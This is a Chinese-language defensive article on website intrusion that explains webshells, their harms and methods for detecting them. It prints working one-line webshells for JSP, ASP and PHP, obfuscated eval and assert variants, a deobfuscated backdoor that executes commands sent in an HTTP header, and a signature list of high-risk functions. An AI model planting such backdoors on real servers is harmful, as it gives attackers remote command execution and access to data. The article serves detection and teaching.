办案人员常常接到这样的案件:某单位网站遭黑客入侵,被非法上传webshell,首页被修改,系统功能不能正常使用,网站目录下面被上传了大量的asp、php、htm的页面,网站数据库数据被窃取,黑客还赤裸裸的留下大名
那到底什么是webshell?它有什么危害?如何检测及防范?今天我们就好好来说道说道。(欢迎行业老司机们补充指正~)
Webshell是web入侵的脚本攻击工具,简单来说,webshell就是一个asp或php木马后门。当黑客在入侵企业网站时,通常要通过各种方式上传webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。入侵完成后,将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起,让人难辨真假。因此,检测webshell对网站的安全非常重要。
▲jsp的简单的webshell
<%Runtime.getRuntime().exec(request.getParameter(“xxx”));%>
▲asp的简单的webshell
<%evalrequest(“xxx”)%>
▲php的简单的webshell
<?php $a=eval($_GET[“xxx”]);?>
webshell含有相同的本质,即:
执行系统命令的函数+接收web参数的功能函数
使用webshell就像是打开一个特殊的web页面,只有当传入的参数正确时才能顺利使用。
例如:1.php
内容为:<?php @eval(@_POST[“A”]);?>
只有打开1.php页面且数据包参数有”A”时,才能正确连接使用该后门。
通过连接webshell,执行系统命令,可以查看计算机本机文件,查看用户、密码等敏感信息,还可以直接生成、修改文件(生成木马病毒文件或者网页挂马,数据库添加xss代码等),以及直接下载上传更多文件
1.存在系统调用的命令执行函数,如eval,system,cmd_shell,assert等;
2.存在系统调用的文件操作函数,如fopen,fwrite,readdir等;
3.存在数据库操作函数,调用系统自身的存储过程来连接数据库操作;
4.隐匿性与伪装性,可隐藏到正常的web源码中;
5.访问ip、次数少,页面孤立;
6.会产生payload流量,可以通过流量镜像与web日志进行检测;
7.变种多,通过各种函数加密,绕过检测。
最终结果: eval(base64_encode${“_POST”}[‘xxxx’])
最终结果: assert(${“_POST”}[‘sz’])
1.长期控制web服务器、主机;
2.上传任意文件或者其他危害性病毒例如(勒索,挖矿病毒),也可以从主机下载任意文件;
3.修改web主页,篡改图片,造成不良社会印象(例如篡改国旗);
4.偷窃删除数据(数据库数据,用户密码,个人信息之类);
5. 控制服务器当肉鸡、攻击跳板,对其他用户实现DDos等攻击
对于新手或者经验较少者,很多时候并不能认识或者了解各种各样的文件。不知道那些文件是什么,有什么样的功能,更不敢乱动或者删除。即使发现了可疑的文件也不敢轻举妄动。
在这里举个webshell的分析案例,一步步清理、确认、分析这个webshell的功能与入侵者是如何使用。
分析代码发现,大部分的代码都是通过字符串的|、^、.操作赋值,只有最后两行代码是关键性的代码,而其中的变量都是通过前面的初始化或者是运算得到的。那么我们就可以注释最后两行代码,输出其中所有的变量。
结果如下:
if(md5(getenv(‘HTTP_A’))==’5d15db53a91790e913dc4e05a1319c42′) $bIywY=create_function(‘$a,$b,$c’,getenv(‘HTTP_X_UP_CALLING_LINE_ID’);
当接受参数A时,如果md5(A)== ‘5d15db53a91790e913dc4e05a1319c42’
则创建匿名函数bIywY,功能为接收(‘HTTP_X_UP_CALLING_LINE_ID’)
然后执行此函数。
黑客入侵时,只需要在HTTP_X_UP_CALLING_LINE_ID部分添加命令即可执行
WebShell检测是攻防对抗中的一个重要环节,是安全防护人员必修之课。如何快速检测Web Server是否已经被植入WebShell文件或代码,对网站安全来说至关重要
通过PHP扩展的webshell实时动态检测方法,可以基于PHP扩展对PHP代码的编译执行进行监控并结合外部输入变量的标记追踪、黑白名单机制来进行webshell的实时动态检测
优点:可以有效针对变形、加密的webshell进行检测
缺点:当文件过多时的处理速度可能较慢,不满足用户需求
对脚本文件中所使用的关键词、高危函数、文件修改时间、文件权限、 文件所有者以及和其它文件的关联性等多个维度的特征进行检测,即先建立一个恶意字符串特征库。
php:exec()eval()assert()shell_exec()system()
jsp:Runtime.exec(String cmd)
php:$_POST $_GET $_REQUEST
jsp:request.getParameter()
php:base64,sha1,md5, preg_replace,pack(hex)
php:fpassthru()fsockopen()
php:create_fuction()//匿名函数
优点:可快速检测,快速定位
缺点:容易误报,无法对加密或者经过特殊处理的Webshell文件进行检测。尤其是针对窃密型Webshell无法做到准确的检测:窃密型Webshell通常具有和正常的WEB脚本文件具有相似的特征
优点:可以人工肉眼直观的找出不正常,不合理的文件
缺点:对于隐藏在正常文件中的后门以及大马(被恶意使用的大段正常代码)无法做出判断
转载请注明:XAMPP中文组官网 » 网站防入侵,如何检测webshell?